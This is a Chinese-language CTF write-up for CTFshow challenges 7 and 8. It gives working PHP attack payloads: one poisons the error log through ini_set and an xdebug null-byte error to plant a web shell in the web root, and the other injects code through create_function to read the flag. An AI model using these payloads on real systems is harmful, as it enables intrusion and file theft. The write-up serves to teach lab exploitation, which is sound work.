CTFshow红包挑战7
写不出来一点,还是等了官方wp之后才复现。
直接给了源码
php
<?php
highlight_file(__FILE__);
error_reporting(2);
extract($_GET);
ini_set($name,$value);
system(
"ls '".filter($_GET[1])."'"
);
function filter($cmd){
$cmd = str_replace("'","",$cmd);
$cmd = str_replace("\\","",$cmd);
$cmd = str_replace("`","",$cmd);
$cmd = str_replace("$","",$cmd);
return $cmd;
}
extract
:从数组中将变量导入到当前的符号表
ini_set
:为一个配置选项设置值(我们可以修改配置项)
报错等级是2
。他限定只能使用ls 什么什么
,而且filter
自定义函数过滤了'
、 \
、`` 、
$这四个字符。不好使用闭合来绕过对
getshell`的限制。
既然ls 什么什么
里面的什么什么
可以控制,那就先遍历目录来看看吧。
?1=/usr/local/lib/php/extensions/no-debug-non-zts-20180731/
当前环境存在5个扩展,包含xdebug。分别是mysqli.so
opcache.so
pdo_mysql.so
sodium.so
xdebug.so
。
PHP版本是7.3.22
输入?1=/
,服务端内部语句拼接为ls '/'
。返回了根目录下所有文件。
flag应该就在flag文件中
开始思索题目。感觉关键代码是这三句:
php
//不同寻常的报错等级
error_reporting(2);
//修改$name,$value
extract($_GET);
//开启某个配置项
ini_set($name,$value);
程序执行期间的ini_set不能disable_functions ,无法直接禁用str_replace
函数
知识点:
xdebug
在处理截断问题的时候,会将异常payload回显。而system刚好可以用0字节
(%00或者\000)进行截断来触发异常。
思路:
通过触发异常后,将回显的内容(可控)写入到web目录(修改配置项,把报错写入自定义报错日志)。即可实现写马到文件。
php
ini_set("display_errors", "On");//打开错误提示,与题目无关,只是扩展
ini_set("error_reporting",E_ALL);//显示所有错误,与题目无关,只是扩展
ini_set("error_log",""/var/www/html/1.php");
//把报错信息写入web目录下的1.php文件中
尝试看看报错,%00确实能截断导致报错。
payload:
php
?name=error_log&value=/var/www/html/1.php&1=%00<?php system("cat /f*");?>
可以发现,报错已经写入自定义的报错日志,同时,报错代码被自动执行了。
此外,官方wp还给了一种造成报错的方法:
php
/?name=error_log&value=1.php
&1=("%0C%08%00%00"^"`{ %2f")<?php system("cat /*");?>
("%0C%08%00%00"^"`{ %2f")
即
EKc ^
URL编码后
EKc%20%02^
但是直接
?name=error_log&value=1.php
&1=EKc%20%02^<?php system("cat /*");?>
是无法造成报错的,这种造成报错方式有待细细研究。
CTFshow红包挑战8
考点:PHP create_function
扩展练习(相关题目):NSS [NISACTF 2022]level-up
源码直接给了。
php
<?php
highlight_file(__FILE__);
error_reporting(0);
extract($_GET);
create_function($name,base64_encode($value))();
?>
create_function($name,base64_encode($value))();
相当于创建匿名函数后直接执行。就像nmhs();
这样。
其中,$name
是参数,base64_encode($value)
是要执行的代码段,但是这里base64编码过了,执行不了。
可以看作如下代码:(片段1)【一定要当作函数片段来看,而不是一行有参数的函数调用】
php
nmhs($name){
base64_encode($value)
}
那我就不要base64_encode($value)
,直接从$name
开始构造。
先看看payload:
?value=Jay17&name=){}phpinfo();/*
我们把payload中$name
带入片段1。
php
片段1:
nmhs($name){
base64_encode($value)
}
php
带入$name
nmhs(){}phpinfo();/*){
base64_encode($value)
}
php
整理一下
nmhs(){
}phpinfo();
/*){
base64_encode($value)
}
最终payload:
?value=Jay17&name=){}system("cat /flag");/*